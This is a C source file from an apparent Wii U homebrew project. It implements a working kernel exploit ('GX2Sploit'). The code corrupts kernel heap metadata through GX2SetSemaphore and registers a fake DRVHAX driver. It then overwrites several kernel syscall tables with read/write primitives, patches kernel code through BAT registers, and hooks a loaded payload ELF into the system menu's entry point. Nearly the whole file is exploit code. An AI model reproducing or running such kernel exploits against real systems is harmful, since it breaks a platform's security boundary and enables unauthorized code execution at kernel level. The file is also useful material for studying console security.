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SystemMenuHook/source/gx2sploit.c
orboditilt a49feac8b1 Change path to the payload
2019-08-15 10:38:44 +02:00

319 lines
12 KiB
C
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#include <coreinit/core.h>
#include <coreinit/memory.h>
#include <coreinit/debug.h>
#include <coreinit/thread.h>
#include <coreinit/cache.h>
#include <coreinit/dynload.h>
#include <coreinit/thread.h>
#include <coreinit/exit.h>
#include <sysapp/launch.h>
#include <gx2/state.h>
#include <coreinit/memorymap.h>
#include <whb/log.h>
#include <malloc.h>
#include <string.h>
#include "elf_abi.h"
#include "elf_loading.h"
#define JIT_ADDRESS 0x01800000
#define KERN_HEAP 0xFF200000
#define KERN_HEAP_PHYS 0x1B800000
#define KERN_SYSCALL_TBL_1 0xFFE84C70 // unknown
#define KERN_SYSCALL_TBL_2 0xFFE85070 // works with games
#define KERN_SYSCALL_TBL_3 0xFFE85470 // works with loader
#define KERN_SYSCALL_TBL_4 0xFFEAAA60 // works with home menu
#define KERN_SYSCALL_TBL_5 0xFFEAAE60 // works with browser (previously KERN_SYSCALL_TBL)
#define KERN_CODE_READ 0xFFF023D4
#define KERN_CODE_WRITE 0xFFF023F4
#define KERN_DRVPTR 0xFFEAB530
#define KERN_ADDRESS_TBL 0xFFEAB7A0
#define STARTID_OFFSET 0x08
#define METADATA_OFFSET 0x14
#define METADATA_SIZE 0x10
#define BAT_SETUP_HOOK_ADDR 0xFFF1D624
#define BAT_SETUP_HOOK_ENTRY 0x00800000
#define BAT4U_VAL 0x008000FF
#define BAT4L_VAL 0x30800012
#define BAT_SET_NOP_ADDR_1 0xFFF06B6C
#define BAT_SET_NOP_ADDR_2 0xFFF06BF8
#define BAT_SET_NOP_ADDR_3 0xFFF003C8
#define BAT_SET_NOP_ADDR_4 0xFFF003CC
#define BAT_SET_NOP_ADDR_5 0xFFF1D70C
#define BAT_SET_NOP_ADDR_6 0xFFF1D728
#define BAT_SET_NOP_ADDR_7 0xFFF1D82C
#define BAT_SET_NOP_ADDR_8 0xFFEE11C4
#define BAT_SET_NOP_ADDR_9 0xFFEE11C8
#define ADDRESS_main_entry_hook 0x0101c56c
#define ADDRESS_OSTitle_main_entry_ptr 0x1005E040
#define NOP_ADDR(addr) \
*(uint32_t*)addr = 0x60000000; \
asm volatile("dcbf 0, %0; icbi 0, %0" : : "r" (addr & ~31));
extern int32_t Register(char *driver_name, uint32_t name_length, void *buf1, void *buf2);
extern void CopyToSaveArea(char *driver_name, uint32_t name_length, void *buffer, uint32_t length);
extern void set_semaphore_phys(uint32_t set_semaphore, uint32_t kpaddr, uint32_t gx2data_addr);
extern void SC0x25_SetupSyscall(void);
extern unsigned int SC0x65_ExploitCheck(unsigned int in);
/* Find a gadget based on a sequence of words */
static void *find_gadget(uint32_t code[], uint32_t length, uint32_t gadgets_start) {
uint32_t *ptr;
/* Search code before JIT area first */
for (ptr = (uint32_t*)gadgets_start; ptr != (uint32_t*)JIT_ADDRESS; ptr++) {
if (!memcmp(ptr, &code[0], length))
return ptr;
}
OSFatal("Failed to find gadget!");
return NULL;
}
#ifdef __cplusplus
extern "C" {
#endif
void OSRestartGame(int,char**);
#ifdef __cplusplus
}
#endif
/* Chadderz's kernel write function */
static void __attribute__((noinline)) kern_write(const void *addr, uint32_t value) {
asm volatile (
"li 3,1\n"
"li 4,0\n"
"mr 5,%1\n"
"li 6,0\n"
"li 7,0\n"
"lis 8,1\n"
"mr 9,%0\n"
"mr %1,1\n"
"li 0,0x3500\n"
"sc\n"
"nop\n"
"mr 1,%1\n"
:
: "r"(addr), "r"(value)
: "memory", "ctr", "lr", "0", "3", "4", "5", "6", "7", "8", "9", "10",
"11", "12"
);
}
int exploitThread(int argc, char **argv) {
OSDynLoad_Module gx2_handle;
OSDynLoad_Acquire("gx2.rpl", &gx2_handle);
void (*pGX2SetSemaphore)(uint64_t *sem, int action);
OSDynLoad_FindExport(gx2_handle, 0, "GX2SetSemaphore", (void**)&pGX2SetSemaphore);
uint32_t set_semaphore = ((uint32_t)pGX2SetSemaphore) + 0x2C;
uint32_t gx2_init_attributes[9];
uint8_t *gx2CommandBuffer = (uint8_t*)memalign(0x40, 0x400000);
gx2_init_attributes[0] = 1;
gx2_init_attributes[1] = (uint32_t)gx2CommandBuffer;
gx2_init_attributes[2] = 2;
gx2_init_attributes[3] = 0x400000;
gx2_init_attributes[4] = 7;
gx2_init_attributes[5] = 0;
gx2_init_attributes[6] = 8;
gx2_init_attributes[7] = 0;
gx2_init_attributes[8] = 0;
GX2Init(gx2_init_attributes); //don't actually know if this is necessary? so temp? (from loadiine or hbl idk)
/* Allocate space for DRVHAX */
uint32_t *drvhax = OSAllocFromSystem(0x4c, 4);
/* Set the kernel heap metadata entry */
uint32_t *metadata = (uint32_t*) (KERN_HEAP + METADATA_OFFSET + (0x02000000 * METADATA_SIZE));
metadata[0] = (uint32_t)drvhax;
metadata[1] = (uint32_t)-0x4c;
metadata[2] = (uint32_t)-1;
metadata[3] = (uint32_t)-1;
/* Find stuff */
uint32_t gx2data[] = {0xfc2a0000};
uint32_t gx2data_addr = (uint32_t) find_gadget(gx2data, 0x04, 0x10000000);
uint32_t doflush[] = {0xba810008, 0x8001003c, 0x7c0803a6, 0x38210038, 0x4e800020, 0x9421ffe0, 0xbf61000c, 0x7c0802a6, 0x7c7e1b78, 0x7c9f2378, 0x90010024};
void (*do_flush)(uint32_t arg0, uint32_t arg1) = find_gadget(doflush, 0x2C, 0x01000000) + 0x14;
/* Modify a next ptr on the heap */
uint32_t kpaddr = KERN_HEAP_PHYS + STARTID_OFFSET;
set_semaphore_phys(set_semaphore, kpaddr, gx2data_addr);
set_semaphore_phys(set_semaphore, kpaddr, gx2data_addr);
do_flush(0x100, 1);
/* Register a new OSDriver, DRVHAX */
char drvname[6] = {'D', 'R', 'V', 'H', 'A', 'X'};
Register(drvname, 6, NULL, NULL);
/* Use DRVHAX to install the read and write syscalls */
uint32_t syscalls[2] = {KERN_CODE_READ, KERN_CODE_WRITE};
DCFlushRange(syscalls, 0x04*2);
/* Modify its save area to point to the kernel syscall table */
drvhax[0x44/4] = KERN_SYSCALL_TBL_1 + (0x34 * 4);
CopyToSaveArea(drvname, 6, syscalls, 8);
drvhax[0x44/4] = KERN_SYSCALL_TBL_2 + (0x34 * 4);
CopyToSaveArea(drvname, 6, syscalls, 8);
drvhax[0x44/4] = KERN_SYSCALL_TBL_3 + (0x34 * 4);
CopyToSaveArea(drvname, 6, syscalls, 8);
drvhax[0x44/4] = KERN_SYSCALL_TBL_4 + (0x34 * 4);
CopyToSaveArea(drvname, 6, syscalls, 8);
drvhax[0x44/4] = KERN_SYSCALL_TBL_5 + (0x34 * 4);
CopyToSaveArea(drvname, 6, syscalls, 8);
/* Clean up the heap and driver list so we can exit */
kern_write((void*)(KERN_HEAP + STARTID_OFFSET), 0);
kern_write((void*)KERN_DRVPTR, drvhax[0x48/4]);
/* Setup kernel memmap for further exploitation (will be reverted later) */
kern_write((void*)(KERN_ADDRESS_TBL + 0x12 * 4), 0x10000000);
kern_write((void*)(KERN_ADDRESS_TBL + 0x13 * 4), 0x28305800);
/* clean shutdown */
GX2Shutdown();
free(gx2CommandBuffer);
return 0;
}
static void setup_syscall(void) {
// set kernel code area write permissions
asm volatile("mtspr 570, %0" : : "r" (0xFFF00002));
asm volatile("mtspr 571, %0" : : "r" (0xFFF00032));
asm volatile("eieio; isync");
uint32_t *targetAddress = (uint32_t*)BAT_SETUP_HOOK_ADDR;
targetAddress[0] = 0x3ce00000 | ((BAT4L_VAL >> 16) & 0xFFFF); // lis r7, BAT4L_VAL@h
targetAddress[1] = 0x60e70000 | (BAT4L_VAL & 0xFFFF); // ori r7, r7, BAT4L_VAL@l
targetAddress[2] = 0x7cf18ba6; // mtspr 561, r7
targetAddress[3] = 0x3ce00000 | ((BAT4U_VAL >> 16) & 0xFFFF); // lis r7, BAT4U_VAL@h
targetAddress[4] = 0x60e70000 | (BAT4U_VAL & 0xFFFF); // ori r7, r7, BAT4U_VAL@l
targetAddress[5] = 0x7cf08ba6; // mtspr 560, r7
targetAddress[6] = 0x7c0006ac; // eieio
targetAddress[7] = 0x4c00012c; // isync
targetAddress[8] = 0x7ce802a6; // mflr r7
targetAddress[9] = 0x48000003 | (uint32_t)BAT_SETUP_HOOK_ENTRY; // bla BAT_SETUP_HOOK_ENTRY
asm volatile("dcbf 0, %0; icbi 0, %0; sync" : : "r" (BAT_SETUP_HOOK_ADDR & ~31));
asm volatile("dcbf 0, %0; icbi 0, %0; sync" : : "r" ((BAT_SETUP_HOOK_ADDR + 0x20) & ~31));
NOP_ADDR(BAT_SET_NOP_ADDR_1);
NOP_ADDR(BAT_SET_NOP_ADDR_2);
NOP_ADDR(BAT_SET_NOP_ADDR_3);
NOP_ADDR(BAT_SET_NOP_ADDR_4);
NOP_ADDR(BAT_SET_NOP_ADDR_5);
NOP_ADDR(BAT_SET_NOP_ADDR_6);
NOP_ADDR(BAT_SET_NOP_ADDR_7);
asm volatile("eieio; isync");
asm volatile("mtspr 570, %0" : : "r" (0xFFEE0002));
asm volatile("mtspr 571, %0" : : "r" (0xFFEE0032));
asm volatile("eieio; isync");
NOP_ADDR(BAT_SET_NOP_ADDR_8);
NOP_ADDR(BAT_SET_NOP_ADDR_9);
asm volatile("sync; eieio; isync");
asm volatile("mtspr 560, %0" : : "r" (BAT4U_VAL));
asm volatile("mtspr 561, %0" : : "r" (BAT4L_VAL));
asm volatile("mtspr 570, %0" : : "r" (BAT4U_VAL));
asm volatile("mtspr 571, %0" : : "r" (BAT4L_VAL));
asm volatile("eieio; isync");
}
int CheckKernelExploit(void) {
if(OSEffectiveToPhysical(0xA0000000) == 0x10000000) {
WHBLogPrintf("Running kernel setup");
unsigned char backupBuffer[0x40];
uint32_t *targetAddress = (uint32_t*)(0xA0000000 + (0x327FF000 - 0x10000000));
memcpy(backupBuffer, targetAddress, sizeof(backupBuffer));
targetAddress[0] = 0x7c7082a6; // mfspr r3, 528
targetAddress[1] = 0x60630003; // ori r3, r3, 0x03
targetAddress[2] = 0x7c7083a6; // mtspr 528, r3
targetAddress[3] = 0x7c7282a6; // mfspr r3, 530
targetAddress[4] = 0x60630003; // ori r3, r3, 0x03
targetAddress[5] = 0x7c7283a6; // mtspr 530, r3
targetAddress[6] = 0x7c0006ac; // eieio
targetAddress[7] = 0x4c00012c; // isync
targetAddress[8] = 0x3c600000 | (((uint32_t)setup_syscall) >> 16); // lis r3, setup_syscall@h
targetAddress[9] = 0x60630000 | (((uint32_t)setup_syscall) & 0xFFFF); // ori r3, r3, setup_syscall@l
targetAddress[10] = 0x7c6903a6; // mtctr r3
targetAddress[11] = 0x4e800420; // bctr
DCFlushRange(targetAddress, sizeof(backupBuffer));
uint8_t *hookAddress = (uint8_t*)(0xA0000000 + (0x30000000 - 0x10000000));
uint32_t entryPoint = load_loader_elf(hookAddress, "wiiu/hook_payload.elf");
/* set our setup syscall to an unused position */
kern_write((void*)(KERN_SYSCALL_TBL_1 + (0x25 * 4)), 0x017FF000);
kern_write((void*)(KERN_SYSCALL_TBL_2 + (0x25 * 4)), 0x017FF000);
kern_write((void*)(KERN_SYSCALL_TBL_3 + (0x25 * 4)), 0x017FF000);
kern_write((void*)(KERN_SYSCALL_TBL_4 + (0x25 * 4)), 0x017FF000);
kern_write((void*)(KERN_SYSCALL_TBL_5 + (0x25 * 4)), 0x017FF000);
/* run our kernel code :) */
SC0x25_SetupSyscall();
/* revert setup syscall */
kern_write((void*)(KERN_SYSCALL_TBL_1 + (0x25 * 4)), 0x0);
kern_write((void*)(KERN_SYSCALL_TBL_2 + (0x25 * 4)), 0x0);
kern_write((void*)(KERN_SYSCALL_TBL_3 + (0x25 * 4)), 0x0);
kern_write((void*)(KERN_SYSCALL_TBL_4 + (0x25 * 4)), 0x0);
kern_write((void*)(KERN_SYSCALL_TBL_5 + (0x25 * 4)), 0x0);
/* repair data */
memcpy(targetAddress, backupBuffer, sizeof(backupBuffer));
DCFlushRange(targetAddress, sizeof(backupBuffer));
unsigned int repl_addr = ADDRESS_main_entry_hook;
*(uint32_t*)(0xC1000000 + repl_addr) = 0x48000003 | entryPoint;
DCFlushRange((void*)0xC1000000 + repl_addr, 4);
ICInvalidateRange((void*)(repl_addr), 4);
/* restore kernel memory table to original state */
kern_write((void*)(KERN_ADDRESS_TBL + (0x12 * 4)), 0);
kern_write((void*)(KERN_ADDRESS_TBL + (0x13 * 4)), 0x14000000);
WHBLogPrintf("Kernel setup finished");
return 1;
} else {
WHBLogPrintf("Running GX2Sploit");
/* Make a thread to modify the semaphore */
OSThread *thread = (OSThread*)memalign(8, 0x1000);
uint8_t *stack = (uint8_t*)memalign(0x40, 0x2000);
if (OSCreateThread(thread, (OSThreadEntryPointFn)exploitThread, 0, NULL, stack + 0x2000, 0x2000, 0, 0x1) == 0) {
OSFatal("Failed to create thread");
}
OSResumeThread(thread);
OSJoinThread(thread, 0);
free(thread);
free(stack);
WHBLogPrintf("GX2Sploit done");
return 0;
}
// else everything is setup
return 1;
}
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